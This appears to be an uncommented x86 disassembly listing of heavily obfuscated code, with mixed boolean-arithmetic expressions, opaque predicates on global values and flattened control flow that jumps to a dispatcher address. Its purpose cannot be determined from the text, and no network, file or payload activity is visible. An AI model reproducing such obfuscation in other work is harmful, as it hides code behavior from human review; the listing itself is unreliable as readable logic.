xor eax, 0xf8c0bfb7
xor ecx, eax
and ecx, eax
mov edx, ecx
not edx
mov esi, edi
xor esi, edx
and esi, edi
and edx, edi
not edi
and ecx, edi
or edx, ecx
mov eax, esi
not eax
mov ecx, edx
not ecx
mov edi, eax
and edi, 0xe8e2fdbd
and esi, 0x171d0242
or esi, edi
or eax, ecx
and ecx, 0xe8e2fdbd
and edx, 0x171d0242
or edx, ecx
xor edx, esi
not eax
or eax, edx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x3a43fab5
mov edx, eax
and edx, 0xc5bc054a
or edx, esi
mov esi, edx
xor esi, 0x4200002
xor edx, 0x20020084
mov edi, ecx
or edi, 0x200604c4
or edx, 0xc149c210
and edx, 0xe14fc6d4
and esi, 0x16203823
or esi, edx
and edi, 0xe14fc6d4
mov edx, eax
and edx, 0x8900108
or edx, edi
xor edx, esi
mov esi, edx
xor esi, 0x36263ce7
and ecx, 0xbbbbba54
and eax, 0x444445ab
or eax, ecx
mov ecx, eax
xor ecx, 0x444445ab
xor edx, 0xc9d9c318
and ecx, edx
xor eax, 0xbbbbba54
and eax, esi
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
setne byte [esp + 8]
sete byte [esp + 4]
cmp dword [0x1004090c], 0xa
setge ah
setl dl
mov byte [esp + 0xc], dl
mov al, dl
xor al, ah
mov ecx, eax
and cl, dl
and al, ah
xor cl, 1
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov byte [esp + 0x10], ah
xor al, ah
xor al, 1
and al, ah
mov edx, eax
xor dl, 1
mov ecx, eax
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov ch, cl
xor ch, 1
mov dh, cl
and dh, ch
xor dh, 1
mov bl, dh
xor bl, ch
or dh, ch
xor dh, 1
or dh, bl
xor dh, 1
xor ch, dh
or dh, cl
mov bl, ch
xor bl, dh
or dh, ch
xor dh, 1
or dh, bl
mov bl, dh
xor bl, 1
xor cl, bl
mov ch, dl
xor ch, bl
and ch, dl
and dh, al
and bl, dl
or bl, dh
or bl, ch
mov eax, ebx
xor al, 1
and al, bl
xor al, 1
mov edx, ebx
xor dl, al
or dl, cl
or al, bl
xor al, 1
or al, dl
mov dh, al
xor dh, 1
mov byte [esp], dh
mov ah, al
and ah, dh
mov bl, ah
xor bl, 1
mov ch, dh
xor ch, bl
or dh, bl
xor dh, 1
or dh, ch
mov bh, dh
xor bh, 1
mov ch, byte [esp + 8]
mov cl, ch
xor cl, bh
mov byte [esp + 0x18], cl
and bh, dh
xor bh, 1
mov cl, dh
xor cl, bh
or bh, dh
xor bh, 1
or bh, cl
mov cl, bh
mov dl, byte [esp + 4]
and cl, dl
xor bh, 1
and bh, ch
or bh, cl
or dh, dl
mov ch, dl
mov byte [esp + 4], dl
xor dh, 1
or dh, byte [esp + 0x18]
xor dh, 1
or dh, bh
mov bh, dh
xor bh, 1
mov dl, byte [esp]
xor ah, dl
or bl, al
xor bl, 1
or bl, ah
mov cl, bl
xor cl, 1
and cl, ch
mov ch, byte [esp + 8]
and bl, ch
or bl, cl
xor bl, dl
and bl, al
mov eax, ebx
xor al, 1
and al, bl
xor al, 1
mov cl, bl
xor cl, al
or al, bl
xor al, 1
or al, cl
mov cl, al
xor cl, 1
and al, bh
and bh, dh
xor bh, 1
mov dl, dh
xor dl, bh
or bh, dh
xor bh, 1
or bh, dl
xor bh, 1
mov ah, bh
xor ah, cl
mov dl, cl
or dl, bh
xor dl, 1
xor ah, 1
and ah, bh
or ah, dl
mov dl, dh
xor dl, cl
and dl, dh
and cl, dh
or cl, al
mov al, dl
xor al, 1
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov al, cl
xor al, ah
xor ah, 1
or ah, cl
mov cl, al
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov bl, ah
mov al, ch
mov bh, byte [esp + 0x10]
or al, bh
mov ah, byte [esp + 0xc]
mov dh, ah
mov dl, byte [esp + 4]
or dh, dl
mov cl, al
xor cl, dh
or dh, al
xor dh, 1
or dh, cl
mov al, dh
xor al, 1
mov cl, ah
xor ch, ah
and cl, al
mov ah, bh
and dh, bh
or dh, cl
xor dh, 1
or dh, al
mov al, dh
xor al, 1
mov cl, dl
or ah, dl
xor ah, 1
or ah, ch
or ch, dl
mov cl, ch
xor cl, 1
and ch, cl
xor ch, 1
mov dl, cl
xor dl, ch
or ch, cl
xor ch, 1
or ch, dl
mov dl, ch
xor dl, 1
and dl, ah
xor ah, 1
and ch, ah
or ch, dl
mov dl, cl
xor dl, ah
or ah, cl
xor ah, 1
or ah, dl
xor ch, 1
mov cl, ch
xor cl, ah
or ch, ah
xor ch, 1
or ch, cl
xor ch, 1
mov cl, dh
and cl, al
xor cl, 1
or cl, al
xor cl, 1
or cl, dh
or dh, ch
xor cl, ch
xor cl, 1
mov al, dh
or al, cl
xor cl, dh
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov ch, dl
xor ch, 1
mov bh, bl
mov byte [esp], bl
mov cl, bl
xor cl, 1
mov byte [esp + 4], cl
and bh, cl
mov al, bh
xor al, cl
and al, bh
mov ah, ch
mov dh, dl
and ah, dl
xor ah, 1
mov cl, dl
xor cl, ah
mov bl, dl
mov byte [esp + 8], dl
or dl, ah
xor dl, 1
or dl, cl
mov dh, dl
xor dh, 1
xor dl, bl
or dh, ch
xor dh, 1
or dh, dl
mov bl, al
xor bl, 1
mov dl, bl
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
xor bh, 1
or bh, byte [esp]
xor bh, 1
or bh, byte [esp + 4]
mov cl, dl
xor cl, bh
and bh, cl
and cl, dl
xor bh, 1
xor cl, 1
mov dl, bh
xor dl, cl
or cl, bh
xor cl, 1
or cl, dl
xor al, byte [esp]
mov dl, bl
mov bh, byte [esp + 4]
xor dl, bh
or bl, bh
xor bl, 1
or bl, dl
xor bl, 1
or bl, al
mov bh, bl
xor bh, 1
mov al, bl
and al, cl
xor cl, 1
and bh, cl
or bh, al
mov dl, dh
xor dl, 1
or cl, bl
xor bh, 1
mov al, bh
xor al, cl
or bh, cl
xor bh, 1
or bh, al
mov bl, ch
mov byte [esp + 0xc], ch
and ch, dh
or bl, dl
mov al, dl
mov cl, byte [esp + 8]
xor al, cl
and al, dl
and dl, cl
or dl, ch
xor dh, dl
and dh, dl
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
xor dh, 1
xor al, 1
mov cl, dh
or cl, al
xor al, dh
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
xor bh, 1
mov edx, eax
xor dl, 1
mov ecx, eax
mov bl, dl
and bl, al
xor dl, bl
xor bl, 1
or bl, al
xor al, bh
or cl, bh
xor cl, 1
or cl, al
mov al, cl
xor al, 1
xor bl, 1
or bl, dl
xor bl, 1
or bl, bh
mov dh, bl
xor dh, 1
and al, cl
and dh, bl
xor al, 1
mov dl, al
xor dl, cl
or al, cl
xor al, 1
or al, dl
xor dh, 1
mov dl, dh
xor dl, bl
or dh, bl
xor dh, 1
or dh, dl
mov dl, al
xor dl, 1
and dl, dh
xor dh, 1
and dh, al
or dh, dl
or bl, cl
xor dh, 1
mov al, dh
xor al, bl
or dh, bl
xor dh, 1
or dh, al
mov ch, byte [esp + 0xc]
or ah, ch
xor ah, 1
mov al, byte [esp + 8]
or ah, al
movzx ebx, byte [esp + 4]
or al, bl
mov dl, byte [esp]
or ch, dl
mov cl, ch
xor cl, al
or ch, al
mov al, ah
xor al, 1
xor ch, 1
or ch, cl
and ah, al
xor ah, 1
mov cl, ah
xor cl, al
or ah, al
xor ah, 1
or ah, cl
mov cl, ah
xor ah, 1
and ah, dl
and cl, bl
or al, bl
xor al, 1
or al, cl
or al, ah
xor ch, 1
mov cl, ch
or cl, al
xor cl, 1
xor ch, al
or ch, cl
mov al, ch
xor al, 1
mov dl, ch
and dl, al
xor dl, 1
mov cl, al
xor cl, dl
or dl, al
xor dl, 1
or cl, ch
or cl, dl
mov eax, ecx
xor al, 1
mov ah, dh
xor ah, 1
mov dl, al
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
xor dl, ah
and cl, dh
and ah, al
or ah, cl
or al, dh
xor al, 1
or al, ah
mov ecx, edx
or cl, al
xor al, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x620ba70e
mov esi, 0xc4380b94
cmovne edx, esi
test al, 1
mov ebx, edx
mov eax, 0x620ba70e
cmovne ebx, eax
test cl, 1
cmovne ebx, edx
jmp 0x1000b8a0
mov eax, dword [0x10040908]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
mov esi, eax
mov edi, eax
mov ebp, eax
mov dword [esp + 8], eax
and edi, 0xe6b75bbb
mov eax, ecx
and eax, 0x1948a444
or eax, edi
mov edi, eax
xor edi, 0x11002004
xor eax, 0xe6b75bbb
and edi, 0x93a03225
mov ebx, eax
and ebx, 0x6c5fcdda
or ebx, edi
xor ebx, 0x316a2cb9
and eax, 0xa2ca1e9c
or eax, ebx
and edx, 0x6ef2c966
mov edi, ecx
and edi, 0x910d3699
or edi, edx
mov edx, edi
xor edx, 0x910d3699
xor edi, 0x850c042
and edi, 0x895cc2c2
mov ebx, edx
and ebx, 0x76a33d3d
or ebx, edi
xor ebx, 0xd46923a1
and edx, 0x5d35e163
or edx, ebx
mov edi, edx
xor edi, 0x942feba
xor edi, edx
xor edi, 0xf6bd0145
and edi, eax
or eax, edx
not eax
xor edi, edx
or edi, eax
mov ebx, edi
xor ebx, 0xa2ca1e9c
xor edi, 0x5d35e163
mov eax, edi
and eax, 0xe0e3c4f
and edi, ebx
and ebx, 0xf1f1c3b0
or ebx, eax
xor ebx, 0xf1f1c3b0
or ebx, edi
mov eax, ebx
xor eax, 0x1aaa6874
and eax, ebx
mov edx, eax
not edx
mov edi, edx
and edi, 0x646edcd1
and eax, 0x9b91232e
or eax, edi
mov edi, ebx
not edi
or ebx, 0xe555978b
or edx, ebx
and ebx, 0x646edcd1
and edi, 0x1a802024
or edi, ebx
mov ebx, ebp
xor edi, eax
not edx
or edx, edi
and esi, 0x103041a
mov edi, ecx
and edi, 0x2244204
or edi, esi
xor edi, 0x2244204
mov eax, ecx
mov dword [esp + 4], ecx
and eax, 0xfcd8b9e1
or eax, edi
mov esi, eax
xor esi, 0x184222a
and ebx, 0xfcc91d14
mov edi, ecx
and edi, 0x336e2eb
or edi, ebx
xor eax, 0xe672d195
mov ebx, eax
and ebx, 0xfc399c55
and esi, 0x3c663aa
or esi, ebx
mov ebx, edi
xor ebx, 0x30662aa
xor edi, 0xfc091c14
and edi, 0xfc399c55
and ebx, 0x3c663aa
or ebx, edi
mov edi, edx
not edi
xor ebx, esi
mov esi, edi
or esi, 0xe555978b
not ebx
or ebx, eax
mov ebp, esi
not ebp
and edi, 0x226870
mov ecx, ebp
and ecx, 0x1a880004
or ecx, edi
mov eax, ebx
not eax
and eax, 0x226870
mov edi, ebx
and edi, 0x1a880004
or edi, eax
xor edi, ecx
not edi
or edi, esi
xor edx, 0x222830
and edx, ebp
or ebp, 0x9e8dc54e
mov eax, ebp
and eax, 0x9e860d0a
and esi, 0x402030b0
or esi, eax
mov eax, edx
not eax
or ebp, eax
and eax, 0xbfd60f0b
and edx, 0x286074
or edx, eax
xor edx, esi
mov esi, ebx
xor esi, 0x4814446
not ebp
or ebp, edx
xor ebx, 0x40322291
and ebx, 0xda3ea399
and esi, 0x25c15c66
or esi, ebx
xor esi, ebp
mov ebp, edi
and ebp, 0xbeeb7ffe
lea edx, [ebp + 0x41148001]
xor ebp, 0xa1578d93
and ebp, edx
mov ebx, ebp
not ebx
mov eax, ebx
and eax, 0x2eaa5e8a
and ebp, 0x10002074
or ebp, eax
or edi, 0x1fbcf26d
or ebx, edi
and edi, 0x2fbede74
xor edi, ebp
mov ebp, esi
xor ebp, 0xda3ea399
xor edi, 0xff
not ebx
or ebx, edi
mov eax, esi
xor eax, 0x25c15c66
xor esi, 0xc58251f4
and esi, ebp
or ebp, 0xe0430d92
mov ecx, ebp
and ecx, 0x3a86f331
or edx, eax
and eax, 0x538004c
or eax, ecx
mov ecx, esi
not ecx
or ebp, ecx
and ecx, 0x3a86f331
and esi, 0xc5790cce
or esi, ecx
xor esi, eax
not ebp
or ebp, esi
xor ebp, ebx
not edx
or edx, ebp
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x106011cc
mov edi, edx
and edi, 0x880ba003
or edi, ecx
mov esi, edi
xor esi, 0x880ba003
xor edi, 0x21605698
and eax, 0x9dc8ee53
and edx, 0x623711ac
or edx, eax
mov ebx, edx
xor ebx, 0x623711ac
xor edx, 0x94c84452
and edx, 0xf4d844fa
mov eax, ebx
and eax, 0xb27bb05
or eax, edx
xor eax, 0x6cb3f535
and ebx, 0x986bb1cf
or ebx, eax
mov eax, esi
xor eax, ebx
and eax, esi
and edi, 0xa9607698
and esi, 0x100b8147
or esi, edi
xor esi, ebx
xor esi, 0x569f8967
or esi, eax
mov edx, esi
not edx
mov ecx, edx
and ecx, 0xf7c82ff2
mov eax, esi
and eax, 0x837d00d
or eax, ecx
mov edi, eax
xor edi, 0x8360004
xor eax, 0x41082040
or edx, 0x41082041
or eax, 0x41093a
and eax, 0x4149297b
and edi, 0x3c360604
or edi, eax
and edx, 0x4149297b
and esi, 0x8280d080
or esi, edx
xor esi, edi
mov ebx, esi
not ebx
mov eax, ebx
and eax, 0x2d026431
mov ecx, esi
and ecx, 0xd2fd9bce
or ecx, eax
xor ecx, 0xd2fd9bce
mov eax, ebx
and eax, esi
or eax, ecx
mov edx, eax
not edx
and eax, 0x6d9573f5
and edx, 0x926a8c0a
or edx, eax
mov edi, edx
xor edi, 0x926a8c0a
and ebx, 0xbd86b1f3
and esi, 0x42794e0c
or esi, ebx
mov eax, esi
xor eax, 0x42794e0c
xor esi, 0xa5042043
and esi, 0xe75d2447
mov ebp, eax
and ebp, 0x18a2dbb8
or ebp, esi
mov ebx, edx
xor ebx, 0x41953264
xor ebp, 0x18a2dbb8
or ebp, eax
mov esi, ebp
not esi
and ebx, 0x43bf326c
xor edx, 0x4a748c7
and edx, edi
mov eax, edi
and eax, 0xbc40cd93
or eax, ebx
mov edi, eax
xor edi, 0xbc40cd93
xor eax, 0xd572f6a1
and eax, edi
or edx, eax
mov ebx, ebp
xor ebx, 0x69323b32
and ebx, esi
or esi, 0x69323b32
mov eax, esi
and eax, 0xd3b6fd77
or edi, ebp
and ebp, 0x4490088
or ebp, eax
mov eax, ebx
not eax
or esi, eax
and eax, 0xd3b6fd77
and ebx, 0x2c490288
or ebx, eax
xor ebx, ebp
mov ebp, dword [esp + 8]
mov eax, ebp
not esi
or esi, ebx
xor esi, edx
mov edx, esi
not edx
mov ecx, edx
and ecx, 0xec86cdc6
and esi, 0x13793239
or esi, ecx
mov ecx, edi
not ecx
or edx, edi
mov dword [esp], edx
and edi, 0xec86cdc6
and ecx, 0x13793239
or ecx, edi
mov edx, dword [esp + 4]
mov ebx, edx
xor ebx, 0x2209442f
and ebx, edx
and eax, 0x64ace9e5
mov edi, edx
and edx, 0x9b53161a
or edx, eax
not edx
mov eax, ebp
or edx, ebp
mov ebp, edx
xor ecx, esi
mov edx, dword [esp]
not edx
or edx, ecx
mov dword [esp], edx
and eax, 0x86016cc7
and edi, 0x79fe9338
or edi, eax
mov eax, edi
xor eax, 0x80000
xor edi, 0x2014407
mov ecx, edi
or ecx, 0xd9f2a050
mov esi, ebx
not esi
and ecx, 0xf9f3a079
and eax, 0x2084406
or eax, ecx
or edi, esi
and esi, 0xf9f3a079
and ebx, 0x60c5f86
or ebx, esi
xor ebx, eax
not edi
or edi, ebx
not ebx
and ebx, 0xddf6bbd0
and edi, 0x2209442f
or edi, ebx
mov esi, edi
not esi
and edi, 0xd7646011
mov eax, esi
and eax, 0x289b9fee
or eax, edi
xor eax, 0x4c37760b
and esi, 0x9b53161a
or esi, eax
mov ecx, esi
not ecx
mov edi, ebp
not ebp
mov eax, esi
xor eax, 0xf141c178
and eax, esi
mov edx, ecx
and edx, 0xf141c178
or edx, eax
mov dword [esp + 8], edx
mov ebx, ebp
or ebx, 0xf141c178
mov edx, ebx
and edx, 0x694fc347
mov eax, edi
mov dword [esp + 4], edi
and edi, 0x6b03c80
or edi, edx
mov edx, eax
xor edx, 0xf141c178
and edx, ebp
mov eax, edx
not eax
or ebx, eax
and eax, 0x694fc347
and edx, 0x96b03cb8
or edx, eax
xor edx, edi
not ebx
or ebx, edx
mov eax, ebx
xor eax, ebx
not eax
and eax, dword [esp + 8]
xor eax, ebx
mov edx, ecx
and edx, 0xc4c5f892
and esi, 0x3b3a076d
or esi, edx
or ecx, ebp
and ebp, 0xc4c5f892
mov edx, dword [esp + 4]
and edx, 0x3b3a076d
or edx, ebp
xor edx, esi
not ecx
or ecx, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x99000400
mov edi, ecx
and edi, 0x253121a
or edi, edx
mov esi, edi
xor esi, 0x530208
xor edi, 0x7c086981
or eax, 0x1a001012
and edi, 0x7e087993
and esi, 0x81530608
or esi, edi
and eax, 0x7e087993
and ecx, 0xa48064
or ecx, eax
xor ecx, esi
mov ebx, dword [esp]
mov esi, ebx
not esi
mov eax, esi
and eax, 0xd589e60
and ebx, 0xf2a7619f
or ebx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x6afcdd82
mov edi, ecx
and edi, 0x9503227d
or edi, edx
mov ebp, ebx
xor ebp, 0x5203411a
xor ebx, 0xd589e60
mov edx, ebx
and edx, 0xa5ecbca5
and ebp, 0x5a13435a
or ebp, edx
mov edx, edi
xor edx, 0x10030258
xor edi, 0x6afcdd82
or ebx, edi
and edi, 0xa5ecbca5
and edx, 0x5a13435a
or edx, edi
xor edx, ebp
not ebx
or ebx, edx
and esi, 0xfee7b8bc
mov edx, dword [esp]
and edx, 0x1184743
or edx, esi
mov dword [esp], edx
mov ebp, ecx
xor ebp, 0xfee7b8bc
and ebp, eax
mov edi, ebp
not edi
mov edx, edi
and edx, 0x4b39419f
and ebp, 0xb4c6be60
or ebp, edx
mov esi, ebx
not esi
or eax, 0xfee7b8bc
or edi, eax
and eax, 0x4b39419f
and ecx, 0x640
or ecx, eax
xor ecx, ebp
not edi
or edi, ecx
xor edi, dword [esp]
mov eax, edi
not eax
mov ecx, eax
mov dword [esp], eax
mov eax, ebx
and eax, 0x271d812d
mov edx, esi
and edx, 0xd8e27ed2
or edx, eax
mov dword [esp + 4], edx
mov ebp, edi
xor ebp, 0x271d812d
mov edx, ebp
and edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xed3b7488
and edx, 0x12c48b77
or edx, ecx
and ebp, edi
mov ecx, ebp
not ecx
or eax, ecx
and ecx, 0xed3b7488
and ebp, 0x12c48b77
or ebp, ecx
xor ebp, edx
not eax
or eax, ebp
xor eax, dword [esp + 4]
mov ecx, esi
and ecx, 0x223622bd
and ebx, 0xddc9dd42
or ebx, ecx
or esi, edi
and edi, 0x223622bd
mov ecx, dword [esp]
and ecx, 0xddc9dd42
or ecx, edi
xor ecx, ebx
not esi
or esi, ecx
not esi
or esi, eax
mov edx, esi
not edx
mov ecx, edx
and ecx, esi
mov edi, esi
mov eax, esi
mov ebx, edx
and ebx, 0x5514715b
and esi, 0xaaeb8ea4
or esi, ebx
and edi, 0x1224020c
xor esi, 0xb05e2dba
or esi, edx
and edx, 0x891a112
or edx, edi
mov edi, ecx
not edi
or eax, edi
and edi, 0x1224020c
and ecx, 0x891a112
or ecx, edi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
or ecx, 0xe00814c1
and eax, 0x1ab58104
and ecx, 0xe00836db
or ecx, eax
mov eax, ecx
xor eax, 0x1ff7c924
xor ecx, eax
xor ecx, 0xe00836db
and ecx, esi
xor ecx, eax
or eax, esi
not eax
or ecx, eax
mov eax, ecx
xor eax, 0xe54a5ce1
mov esi, ecx
xor esi, 0x1ab5a31e
mov edx, esi
and edx, 0x5e1f0c2
mov edi, eax
and edi, 0x100
or edi, edx
xor edi, 0x100
xor ecx, 0xe0abad23
and ecx, eax
or ecx, edi
mov edx, ecx
xor edx, 0x5e1f1c2
xor ecx, 0xfa100200
and esi, 0xa52bce19
and eax, 0x5ad431e6
or eax, esi
mov esi, edx
and esi, 0x4cfccbd
and ecx, 0xfb303342
or ecx, esi
mov esi, eax
xor esi, 0x5a103142
xor eax, 0xa52bce19
or edx, eax
and eax, 0x4cfccbd
and esi, 0xfb303342
or esi, eax
xor esi, ecx
not edx
or edx, esi
xor edx, 0xcb96e06e
xor edx, 0x34691f91
sete al
setne ch
cmp dword [0x1004090c], 0xa
setge bl
mov byte [esp], bl
setl dl
mov ah, ch
xor ah, dl
mov dh, ah
xor dh, 1
mov cl, bl
or cl, ch
xor cl, 1
and al, bl
mov ebx, edx
and bl, ch
or bl, al
or bl, cl
mov al, bl
xor al, 1
mov bh, al
and bh, bl
xor bh, 1
mov cl, bh
xor cl, bl
or bh, bl
xor bh, 1
or bh, cl
mov cl, bh
xor bh, 1
and bh, dh
or al, dh
xor bl, ah
xor al, 1
or al, bl
and cl, ah
xor al, 1
or al, cl
or al, bh
or ch, dl
mov dl, ch
xor dl, 1
or ah, byte [esp]
mov cl, dl
xor cl, ah
and cl, dl
xor dl, ch
and dl, ah
xor dl, ch
or dl, cl
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
mov ch, ah
xor ch, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ch
or cl, al
or dl, al
xor al, 1
or ah, al
xor ah, 1
xor dl, 1
or dl, ah
mov eax, edx
mov ah, cl
xor ah, dl
and ah, dl
and dl, cl
xor cl, 1
xor al, 1
and al, cl
or dl, al
xor dl, ah
mov al, dl
not al
and al, ah
test dl, 1
mov ecx, 0xf87df5d7
mov esi, 0x9876fa2e
cmovne ecx, esi
test al, 1
cmovne ecx, esi
test dl, 1
mov ebx, ecx
cmovne ebx, esi
test al, 1
cmove ebx, ecx
jmp 0x1000b8a0
mov eax, dword [0x10040908]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov esi, ecx
mov edi, ecx
mov ebp, ecx
mov dword [esp + 8], ecx
not edi
mov dword [esp + 4], edi
and eax, 0x7def3314
mov ecx, edi
and ecx, 0x8210cceb
or ecx, eax
mov eax, ecx
xor eax, 0x48033114
xor ecx, 0x2000c80
and ecx, 0x37ec0e80
and eax, 0xc813f17f
or eax, ecx
mov edx, eax
xor edx, 0xc813f17f
xor eax, 0x6440600
and eax, 0x4655676f
mov ecx, edx
and ecx, 0xb9aa9890
or ecx, eax
xor ecx, 0x337854f0
and edx, 0x752d339f
or edx, ecx
mov ecx, edx
not ecx
mov eax, edi
and eax, 0x10d60c8d
and esi, 0xef29f372
or esi, eax
xor esi, 0x9a04c0ed
mov eax, esi
xor eax, edi
and eax, esi
mov esi, eax
not esi
mov edi, ecx
xor edi, esi
and edi, ecx
and edx, 0xffc1901b
and ecx, 0x3e6fe4
or ecx, edx
and esi, 0xffc1901b
and eax, 0x3e6fe4
or eax, esi
xor eax, ecx
or eax, edi
mov esi, eax
xor esi, 0x752d339f
xor eax, 0x8ad2cc60
mov ecx, eax
and ecx, 0xb785b5da
and eax, esi
and esi, 0x487a4a25
or esi, ecx
mov ecx, esi
xor ecx, 0x48404021
xor esi, 0xb785b5da
mov edx, eax
not edx
mov edi, esi
and edi, 0xb73b3e9c
and ecx, 0x48c4c163
or ecx, edi
or esi, edx
and edx, 0xb73b3e9c
and eax, 0x48c4c163
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov edx, esi
not edx
mov eax, esi
xor eax, 0x7fa02bdf
mov edi, eax
and edi, edx
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0x42277766
and edi, 0xbdd88899
or edi, ebx
and eax, esi
mov ebx, eax
not ebx
or ecx, ebx
and ebx, 0x42277766
and eax, 0xbdd88899
or eax, ebx
xor eax, edi
mov edi, ebp
not ecx
or ecx, eax
xor ecx, 0x7fa02bde
and esi, 0x7b8b269c
mov eax, edx
and eax, 0x8474d963
or eax, esi
xor eax, 0x8474d962
and edx, 0xfffffffe
or edx, eax
not edx
or edx, ecx
mov eax, edx
not eax
mov ecx, edx
xor ecx, 0x53a5727c
and ecx, edx
or edx, 0xac5a8d83
mov esi, edx
and esi, 0xec0b0b27
and eax, 0x13a47058
or eax, esi
mov esi, ecx
not esi
or edx, esi
and esi, 0xec0b0b27
and ecx, 0x13f4f4d8
or ecx, esi
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
xor eax, 0xac5a8d83
or edi, 0xbbfc6324
and edi, 0xbbfc6325
mov ebx, edi
xor ebx, 0x9bec6220
xor edi, 0x40031009
and edi, 0x6013110d
and ebx, 0x9feceef2
or ebx, edi
xor edx, 0x53a5727c
mov ecx, eax
and ecx, 0x664d3709
mov esi, edx
and esi, 0x99b2c8f6
or esi, ecx
mov ecx, edx
and ecx, eax
mov edi, ecx
not edi
mov ebp, eax
or ebp, edi
and edi, 0x664d3709
and ecx, 0x99b2c8f6
or ecx, edi
xor ecx, esi
not ebp
or ebp, ecx
mov dword [esp + 0xc], ebp
mov ecx, ebp
not ecx
mov esi, ecx
mov edi, ecx
mov dword [esp], ecx
and esi, 0x680bd4d5
mov ecx, ebp
and ecx, 0x97f42b2a
or ecx, esi
mov esi, edx
and esi, 0xe0ce302e
and eax, 0x1f31cfd1
or eax, esi
xor eax, 0xecebb489
xor edx, eax
and edx, eax
xor ecx, 0x642e5072
or ecx, edi
mov esi, ecx
not esi
and ecx, 0xe7b4405a
mov eax, esi
and eax, 0x184bbfa5
or eax, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x983ef6b5
mov edi, edx
and edi, 0x67c1094a
or edi, ecx
mov ecx, eax
xor ecx, 0x184bbfa5
mov dword [esp + 0x10], ecx
xor eax, 0x12d314a8
and eax, ecx
and esi, 0xa98ab0d
or esi, eax
mov dword [esp + 0x18], esi
mov ecx, edi
xor ecx, 0x67c1094a
xor edi, 0x6d59a247
and edi, ecx
mov eax, edi
not eax
mov esi, eax
and esi, 0x74c0a57c
and edi, 0x8b3f5a83
or edi, esi
or ebp, 0xf56754f2
or eax, ebp
and ebp, 0x74c0a57c
and edx, 0xa180a01
or edx, ebp
xor edx, edi
not eax
or eax, edx
mov edi, eax
xor edi, eax
not edi
and edi, dword [esp + 0x18]
xor edi, eax
or ecx, dword [esp + 0x10]
mov edx, edi
not edx
mov eax, edx
and eax, 0x244bbe2f
and edi, 0xdbb441d0
or edi, eax
mov eax, ecx
not eax
or edx, ecx
and ecx, 0x244bbe2f
and eax, 0xdbb441d0
or eax, ecx
xor eax, edi
not edx
or edx, eax
mov dword [esp + 0x10], edx
mov ebp, ebx
xor ebp, 0x9feceef2
mov eax, ebp
or eax, 0xc2584a7
mov edi, eax
xor edi, 0x80c17883
and edi, eax
mov esi, ebp
and esi, 0xc2584a7
mov edx, esi
or edx, 0x80c17883
mov eax, ebx
xor ebx, 0x86
and ebx, esi
not esi
mov ecx, edx
and ecx, 0x8464b007
and esi, 0x4b080460
or esi, ecx
mov ecx, ebx
not ecx
or edx, ecx
and ecx, 0xb476b31f
and ebx, 0x80104a0
or ebx, ecx
xor ebx, esi
not edx
or edx, ebx
mov esi, edi
not esi
mov ecx, esi
and ecx, 0x93534113
and edi, 0x68ac3a48
or edi, ecx
mov ebx, eax
xor ebx, 0x6013110d
mov dword [esp + 0x18], ebx
mov ecx, ebp
or ecx, 0x7f3f87ff
or esi, ecx
and ecx, 0x9753c537
and ebx, 0x803800
or ebx, ecx
xor ebx, edi
not esi
or esi, ebx
mov ebx, esi
xor ebx, esi
not ebx
and ebx, edx
xor ebx, esi
mov edx, dword [esp + 0x10]
mov esi, edx
not esi
mov ecx, esi
and ecx, 0x61f4865e
mov eax, edx
and eax, 0x9e0b79a1
or eax, ecx
mov ecx, ebx
not ecx
xor eax, ecx
xor eax, 0x9e0b79a1
and eax, ebx
and ecx, 0x1e07c5cd
and ebx, 0xe1f83a32
or ebx, ecx
xor ebx, esi
xor ebx, 0xe1f83a32
and ebx, edx
or ebx, eax
mov ecx, dword [esp + 0x18]
and ecx, 0x6841de90
mov eax, ebp
and eax, 0x97be216f
or eax, ecx
mov ecx, dword [esp]
and ecx, 0xb1b7e0b
mov edi, dword [esp + 0xc]
mov edx, edi
and edx, 0xf4e481f4
or edx, ecx
mov ecx, eax
xor ecx, 0x97be216f
mov esi, ecx
and esi, 0xb1b7e0b
and ebp, 0xf4e481f4
or ebp, esi
xor ebp, edx
mov edx, edi
and edx, 0x2754ebd3
mov esi, dword [esp]
and esi, 0xd8ab142c
or esi, edx
xor eax, 0x6841de90
or edi, eax
and eax, 0x2754ebd3
and ecx, 0xd8ab142c
or ecx, eax
xor ecx, esi
mov eax, edi
not eax
or eax, ecx
mov edi, ebp
not edi
mov ecx, edi
and ecx, 0xbb3f2950
and ebp, 0x44c0d6af
or ebp, ecx
mov ecx, eax
not ecx
or edi, eax
and eax, 0xbb3f2950
and ecx, 0x44c0d6af
or ecx, eax
xor ecx, ebp
not edi
or edi, ecx
mov eax, edi
not eax
mov dword [esp], eax
mov edx, edi
xor edx, 0x71768664
and edx, edi
and eax, 0x71768664
or eax, edx
mov dword [esp + 0xc], eax
mov ecx, ebx
not ecx
mov ebp, ebx
or ebp, 0x71768664
mov esi, ebp
and esi, 0xbac3b2be
mov edx, ecx
and edx, 0x4084901
or edx, esi
